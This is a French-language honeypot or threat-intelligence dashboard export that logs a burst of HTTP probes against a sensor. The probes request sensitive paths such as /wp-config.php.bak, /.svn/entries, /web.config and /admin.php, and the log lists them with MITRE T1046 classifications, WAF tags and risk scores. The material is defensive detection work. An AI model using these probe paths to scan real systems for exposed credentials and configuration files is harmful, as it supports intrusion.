Preuve / Evidence Méthode GET Port 22840 Chemin / cible /admin.php Service HTTP Pourquoi cette classification : Sonde fichier sensible / config · confiance 100% Confiance classification 100% Corrélation +18 Risque capteur Moyen · 48 Confiance : Confiance 100 % — 2 tag(s) WAF Signaux MITRE-T1046 SIGMA-net-port-scan Beh Scan Burst Beh Multi Port 60S Technique MITRE T1046 Tactiques MITRE Reconnaissance Ligne de requête `GET /admin.php HTTP/1.1` User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Règles WAF rce-0 nosqli-3 Payload (extrait) GET /admin.php HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Appl Requête brute (extrait) GET /admin.php HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Accept: / Connection: close Meta JSON brut {"http_header_count":5,"http_query_params":0,"http_path_depth":1,"http_path_ext":"php","http_ua_hash":"5002ada1c05fac60ce2af638d5f54066641d121c","http_host_hash":"0991dad1e85d945fa26d249d6238901b89cb8349","http_target_hash":"bab5871b622b1c3d205151706ae067e078ec96d3","http_referer_hash":null,"http_method":"GET","http_ua_is_cli":false,"http_ua_is_browser":true,"bytes_in":178,"payload_entropy":5.219593295784315,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":22840,"risk_waf":60,"risk_classification":64,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":25,"risk_boost":0,"risk_granularity":5.9,"risk_breakdown":{"waf":60,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":25},"risk_score":48,"tag_count":6,"anomaly_count":0,"campaign_key":"580a6f691fccaf67010b9026bb7202e91fc39054","event_fingerprint":"f47b40bb1673ce8c98bba386b307f47606cb68a2","classification_reason":"Sonde fichier sensible \/ config \u00b7 confiance 100%","confidence":1,"classification_confidence":1,"precision_score":293,"precision_signals":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"kb_rule_ids":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"confidence_breakdown":{"waf":60,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":25,"risk_score":48,"correlation_boost":18},"named_classific…
23/10/2026 11:45:46 UTC	TCP	20634 · HTTP	http	Scan de ports port scan syn · via HTTP:20634 · (reconnaissance) · → /api.php	Élevée	Moyen · 46
Étape Reconnaissance Chaîne Reconnaissance Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1046 Reconnaissance Protocole GET /api.php UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Émulateur HTTP WAF 13 Recommandation Surveiller Tags 950326:rce-0 950470:nosqli-3 http_probe_api net_port_scan_fast Cible HTTP GET /api.php TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 20634 Chemin / cible /api.php Service HTTP Pourquoi cette classification : Type « Scan de ports » (signaux protocolaires) · confiance 100% Confiance classification 100% Corrélation +18 Risque capteur Moyen · 46 Confiance : Confiance 100 % — 2 tag(s) WAF Signaux MITRE-T1046 SIGMA-net-port-scan Beh Scan Burst Beh Multi Port 60S Technique MITRE T1046 Tactiques MITRE Reconnaissance Ligne de requête `GET /api.php HTTP/1.1` User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Règles WAF rce-0 nosqli-3 Payload (extrait) GET /api.php HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleW Requête brute (extrait) GET /api.php HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Accept: / Connection: close Meta JSON brut {"http_header_count":5,"http_query_params":0,"http_path_depth":1,"http_path_ext":"php","http_ua_hash":"5002ada1c05fac60ce2af638d5f54066641d121c","http_host_hash":"0991dad1e85d945fa26d249d6238901b89cb8349","http_target_hash":"c8a97588b7771aaeeaf43f790e83eca06dff8663","http_referer_hash":null,"http_method":"GET","http_ua_is_cli":false,"http_ua_is_browser":true,"bytes_in":176,"payload_entropy":5.199206703417091,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":20634,"risk_waf":60,"risk_classification":64,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":15,"risk_boost":0,"risk_granularity":4.4,"risk_breakdown":{"waf":60,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":15},"risk_score":46,"tag_count":4,"anomaly_count":0,"campaign_key":"e2dfbfd787af97d6536ce119f64fb9500682d8ef","event_fingerprint":"d70ef5c133d2f1cf63b4485ad4525a8add0fe1b8","classification_reason":"Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%","confidence":1,"classification_confidence":1,"precision_score":348,"precision_signals":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s","INT-upstream","INT-waf-score"],"kb_rule_ids":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s","INT-upstream","INT-waf-score"],"confidence_breakdown":{"waf":60,"classification":64,"behavior":0,"geo"…
23/10/2026 11:45:46 UTC	TCP	20633 · HTTP	http	Scan de ports port scan syn · via HTTP:20633 · (reconnaissance) · → /upload.php	Élevée	Moyen · 46
Étape Reconnaissance Chaîne Reconnaissance Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1046 Reconnaissance Protocole GET /upload.php UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Émulateur HTTP WAF 13 Recommandation Surveiller Tags 950326:rce-0 950470:nosqli-3 http_probe_upload net_port_scan_fast Cible HTTP GET /upload.php TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 20633 Chemin / cible /upload.php Service HTTP Pourquoi cette classification : Type « Scan de ports » (signaux protocolaires) · confiance 100% Confiance classification 100% Corrélation +18 Risque capteur Moyen · 46 Confiance : Confiance 100 % — 2 tag(s) WAF Signaux MITRE-T1046 SIGMA-net-port-scan Beh Scan Burst Beh Multi Port 60S Technique MITRE T1046 Tactiques MITRE Reconnaissance Ligne de requête `GET /upload.php HTTP/1.1` User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Règles WAF rce-0 nosqli-3 Payload (extrait) GET /upload.php HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) App Requête brute (extrait) GET /upload.php HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Accept: / Connection: close Meta JSON brut {"http_header_count":5,"http_query_params":0,"http_path_depth":1,"http_path_ext":"php","http_ua_hash":"5002ada1c05fac60ce2af638d5f54066641d121c","http_host_hash":"0991dad1e85d945fa26d249d6238901b89cb8349","http_target_hash":"12813e19e64b5551f1f470db466d40a4c1ad07bc","http_referer_hash":null,"http_method":"GET","http_ua_is_cli":false,"http_ua_is_browser":true,"bytes_in":179,"payload_entropy":5.224187125958968,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":20633,"risk_waf":60,"risk_classification":64,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":15,"risk_boost":0,"risk_granularity":4.3,"risk_breakdown":{"waf":60,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":15},"risk_score":46,"tag_count":4,"anomaly_count":0,"campaign_key":"d707a61ef690790e51a5286bbb7283e32e59e090","event_fingerprint":"38f38e5f0116c1b70e28c83597b8acb38a4d55f9","classification_reason":"Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%","confidence":1,"classification_confidence":1,"precision_score":348,"precision_signals":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s","INT-upstream","INT-waf-score"],"kb_rule_ids":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s","INT-upstream","INT-waf-score"],"confidence_breakdown":{"waf":60,"classification":64,"behavior":0,"geo"…
23/10/2026 11:45:46 UTC	TCP	20639 · HTTP	http	Scan de ports port scan syn · via HTTP:20639 · (reconnaissance) · → /.DS_Store	Élevée	Moyen · 58
Étape Reconnaissance Chaîne Reconnaissance Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1046 Reconnaissance Protocole GET /.DS_Store UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Émulateur HTTP WAF 21 Recommandation Investiguer Tags 950326:rce-0 950470:nosqli-3 950520:leak-7 http_sensitive_path Cible HTTP GET /.DS_Store TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 20639 Chemin / cible /.DS_Store Service HTTP Pourquoi cette classification : Sonde fichier sensible / config · confiance 100% Confiance classification 100% Corrélation +18 Risque capteur Moyen · 58 Confiance : Confiance 100 % — 3 tag(s) WAF Signaux MITRE-T1046 SIGMA-net-port-scan Beh Scan Burst Beh Multi Port 60S Technique MITRE T1046 Tactiques MITRE Reconnaissance Ligne de requête `GET /.DS_Store HTTP/1.1` User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Règles WAF rce-0 nosqli-3 leak-7 Payload (extrait) GET /.DS_Store HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Appl Requête brute (extrait) GET /.DS_Store HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Accept: / Connection: close Meta JSON brut {"http_header_count":5,"http_query_params":0,"http_path_depth":1,"http_path_ext":"ds_store","http_ua_hash":"5002ada1c05fac60ce2af638d5f54066641d121c","http_host_hash":"0991dad1e85d945fa26d249d6238901b89cb8349","http_target_hash":"2eaf811e78c039402383e125deb093600a999e32","http_referer_hash":null,"http_method":"GET","http_ua_is_cli":false,"http_ua_is_browser":true,"bytes_in":178,"payload_entropy":5.2443481944167125,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":20639,"risk_waf":92,"risk_classification":64,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":25,"risk_boost":0,"risk_granularity":5.6,"risk_breakdown":{"waf":92,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":25},"risk_score":58,"tag_count":5,"anomaly_count":0,"campaign_key":"c88030ec8cf1c90fb248098998170e09f5cfe821","event_fingerprint":"24b0150fb5ecaae3492b361e8089256acb2fd4a5","classification_reason":"Sonde fichier sensible \/ config \u00b7 confiance 100%","confidence":1,"classification_confidence":1,"precision_score":293,"precision_signals":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"kb_rule_ids":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"confidence_breakdown":{"waf":92,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":25,"risk_score":58,"correlation_boost":18},"named_cla…
23/10/2026 11:45:46 UTC	TCP	31832 · HTTP	http	Scan de ports port scan syn · via HTTP:31832 · (reconnaissance) · → /wp-login.php	Élevée	Moyen · 53
Étape Reconnaissance Chaîne Reconnaissance Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1046 Reconnaissance Protocole GET /wp-login.php UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Émulateur HTTP WAF 16 Recommandation Investiguer Tags 950326:rce-0 950470:nosqli-3 950502:cms-0 http_probe_wp_login Cible HTTP GET /wp-login.php TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 31832 Chemin / cible /wp-login.php Service HTTP Pourquoi cette classification : Sonde fichier sensible / config · confiance 100% Confiance classification 100% Corrélation +18 Risque capteur Moyen · 53 Confiance : Confiance 100 % — 3 tag(s) WAF Signaux MITRE-T1046 SIGMA-net-port-scan Beh Scan Burst Beh Multi Port 60S Technique MITRE T1046 Tactiques MITRE Reconnaissance Ligne de requête `GET /wp-login.php HTTP/1.1` User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Règles WAF rce-0 nosqli-3 cms-0 Payload (extrait) GET /wp-login.php HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) A Requête brute (extrait) GET /wp-login.php HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Accept: / Connection: close Meta JSON brut {"http_header_count":5,"http_query_params":0,"http_path_depth":1,"http_path_ext":"php","http_ua_hash":"5002ada1c05fac60ce2af638d5f54066641d121c","http_host_hash":"0991dad1e85d945fa26d249d6238901b89cb8349","http_target_hash":"4d8ef3d3642fd19f0a74cb5666752d1aeef6612b","http_referer_hash":null,"http_method":"GET","http_ua_is_cli":false,"http_ua_is_browser":true,"bytes_in":181,"payload_entropy":5.201738306757177,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":31832,"risk_waf":72,"risk_classification":64,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":25,"risk_boost":0,"risk_granularity":6.6,"risk_breakdown":{"waf":72,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":25},"risk_score":53,"tag_count":7,"anomaly_count":0,"campaign_key":"1e67c70449e4f714839a3736db45a9dea3e02dfb","event_fingerprint":"41927feabdcb9fdf1545f1ffd005cce69fb4560d","classification_reason":"Sonde fichier sensible \/ config \u00b7 confiance 100%","confidence":1,"classification_confidence":1,"precision_score":293,"precision_signals":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"kb_rule_ids":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"confidence_breakdown":{"waf":72,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":25,"risk_score":53,"correlation_boost":18},"named_classific…
23/10/2026 11:45:46 UTC	TCP	20629 · HTTP	http	Scan de ports port scan syn · via HTTP:20629 · (reconnaissance) · → /web.config	Élevée	Moyen · 45
Étape Reconnaissance Chaîne Reconnaissance Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1046 Reconnaissance Protocole GET /web.config UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Émulateur HTTP WAF 13 Recommandation Surveiller Tags 950326:rce-0 950470:nosqli-3 http_sensitive_path net_port_scan_fast Cible HTTP GET /web.config TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 20629 Chemin / cible /web.config Service HTTP Pourquoi cette classification : Sonde fichier sensible / config · confiance 100% Confiance classification 100% Corrélation +18 Risque capteur Moyen · 45 Confiance : Confiance 100 % — 2 tag(s) WAF Signaux MITRE-T1046 SIGMA-net-port-scan Beh Scan Burst Beh Multi Port 60S Technique MITRE T1046 Tactiques MITRE Reconnaissance Ligne de requête `GET /web.config HTTP/1.1` User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Règles WAF rce-0 nosqli-3 Payload (extrait) GET /web.config HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) App Requête brute (extrait) GET /web.config HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Accept: / Connection: close Meta JSON brut {"http_header_count":5,"http_query_params":0,"http_path_depth":1,"http_path_ext":"config","http_ua_hash":"5002ada1c05fac60ce2af638d5f54066641d121c","http_host_hash":"0991dad1e85d945fa26d249d6238901b89cb8349","http_target_hash":"fb61e36fe9095535f127e3353d957f1c1310e8e9","http_referer_hash":null,"http_method":"GET","http_ua_is_cli":false,"http_ua_is_browser":true,"bytes_in":179,"payload_entropy":5.199011692965391,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":20629,"risk_waf":60,"risk_classification":64,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":15,"risk_boost":0,"risk_granularity":3.6,"risk_breakdown":{"waf":60,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":15},"risk_score":45,"tag_count":4,"anomaly_count":0,"campaign_key":"05da1436f3d9857522fbce7adff3061fd29b82d2","event_fingerprint":"5015e6345179a6dc894d468f4908eee66e3758ba","classification_reason":"Sonde fichier sensible \/ config \u00b7 confiance 100%","confidence":1,"classification_confidence":1,"precision_score":293,"precision_signals":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"kb_rule_ids":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"confidence_breakdown":{"waf":60,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":15,"risk_score":45,"correlation_boost":18},"named_classi…
23/10/2026 11:45:46 UTC	TCP	20627 · HTTP	http	Scan de ports port scan syn · via HTTP:20627 · (reconnaissance) · → /.svn/entries	Élevée	Moyen · 60
Étape Reconnaissance Chaîne Reconnaissance Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1046 Reconnaissance Protocole GET /.svn/entries UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Émulateur HTTP WAF 27 Recommandation Investiguer Tags 950326:rce-0 950468:nosqli-3 950470:nosqli-3 950519:leak-6 Cible HTTP GET /.svn/entries TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 20627 Chemin / cible /.svn/entries Service HTTP Pourquoi cette classification : Sonde fichier sensible / config · confiance 100% Confiance classification 100% Corrélation +18 Risque capteur Moyen · 60 Confiance : Confiance 100 % — 4 tag(s) WAF Signaux MITRE-T1046 SIGMA-net-port-scan Beh Scan Burst Beh Multi Port 60S Technique MITRE T1046 Tactiques MITRE Reconnaissance Ligne de requête `GET /.svn/entries HTTP/1.1` User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Règles WAF rce-0 nosqli-3 leak-6 Payload (extrait) GET /.svn/entries HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) A Requête brute (extrait) GET /.svn/entries HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Accept: / Connection: close Meta JSON brut {"http_header_count":5,"http_query_params":0,"http_path_depth":2,"http_path_ext":"svn\/entries","http_ua_hash":"5002ada1c05fac60ce2af638d5f54066641d121c","http_host_hash":"0991dad1e85d945fa26d249d6238901b89cb8349","http_target_hash":"fec28f2e1aabccf1f7e02d7f5d2dd9dd95703725","http_referer_hash":null,"http_method":"GET","http_ua_is_cli":false,"http_ua_is_browser":true,"bytes_in":181,"payload_entropy":5.173126656389219,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":20627,"risk_waf":100,"risk_classification":64,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":25,"risk_boost":0,"risk_granularity":4.4,"risk_breakdown":{"waf":100,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":25},"risk_score":60,"tag_count":7,"anomaly_count":0,"campaign_key":"60ffe946263f0eaac9500135042f1da5c99be0ea","event_fingerprint":"53a725a1c733473954702c6ced143f4b4ac685fc","classification_reason":"Sonde fichier sensible \/ config \u00b7 confiance 100%","confidence":1,"classification_confidence":1,"precision_score":293,"precision_signals":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"kb_rule_ids":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"confidence_breakdown":{"waf":100,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":25,"risk_score":60,"correlation_boost":18},"nam…
23/10/2026 11:45:46 UTC	TCP	20640 · HTTP	http	Scan de ports port scan syn · via HTTP:20640 · (reconnaissance) · → /wp-config.php.bak	Élevée	Moyen · 62
Étape Reconnaissance Chaîne Reconnaissance Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1046 Reconnaissance Protocole GET /wp-config.php.bak UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Émulateur HTTP WAF 29 Recommandation Investiguer Tags 950326:rce-0 950470:nosqli-3 950518:leak-5 950521:leak-8 Cible HTTP GET /wp-config.php.bak TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 20640 Chemin / cible /wp-config.php.bak Service HTTP Pourquoi cette classification : Sonde fichier sensible / config · confiance 100% Confiance classification 100% Corrélation +18 Risque capteur Moyen · 62 Confiance : Confiance 100 % — 4 tag(s) WAF Signaux MITRE-T1046 SIGMA-net-port-scan Beh Scan Burst Beh Multi Port 60S Technique MITRE T1046 Tactiques MITRE Reconnaissance Ligne de requête `GET /wp-config.php.bak HTTP/1.1` User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Règles WAF rce-0 nosqli-3 leak-5 leak-8 Payload (extrait) GET /wp-config.php.bak HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x Requête brute (extrait) GET /wp-config.php.bak HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Accept: / Connection: close Meta JSON brut {"http_header_count":5,"http_query_params":0,"http_path_depth":1,"http_path_ext":"bak","http_ua_hash":"5002ada1c05fac60ce2af638d5f54066641d121c","http_host_hash":"0991dad1e85d945fa26d249d6238901b89cb8349","http_target_hash":"0372d7102c333673ea0de9e60c73911cb60bfb5f","http_referer_hash":null,"http_method":"GET","http_ua_is_cli":false,"http_ua_is_browser":true,"bytes_in":186,"payload_entropy":5.2529992835642085,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":20640,"risk_waf":100,"risk_classification":64,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":25,"risk_boost":0,"risk_granularity":6.8,"risk_breakdown":{"waf":100,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":25},"risk_score":62,"tag_count":8,"anomaly_count":0,"campaign_key":"ba0f59f981328ff293e2940c7bd29f5c5fc9e0a7","event_fingerprint":"ede91f268ee5ffae693506ac302462b456e70a15","classification_reason":"Sonde fichier sensible \/ config \u00b7 confiance 100%","confidence":1,"classification_confidence":1,"precision_score":293,"precision_signals":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"kb_rule_ids":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"confidence_breakdown":{"waf":100,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":25,"risk_score":62,"correlation_boost":18},"named_class…

185.244.155.23

Pourquoi listée

Qualifier avant blocage

À faire

Note de ticket

Comparaison ASN / FAI

IPs apparentées

Géolocalisation

FAI / réseau

Renseignement menaces

Décomposition confiance

Décomposition du score

Filtres

Profil d’activité

Heures UTC

Jours de semaine

Constats

Timeline

Ports 24 h

Top ports

Top classifications

Heatmap attaques 7j

Chronologie des événements

Comparaison côte à côte

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence

Preuve / Evidence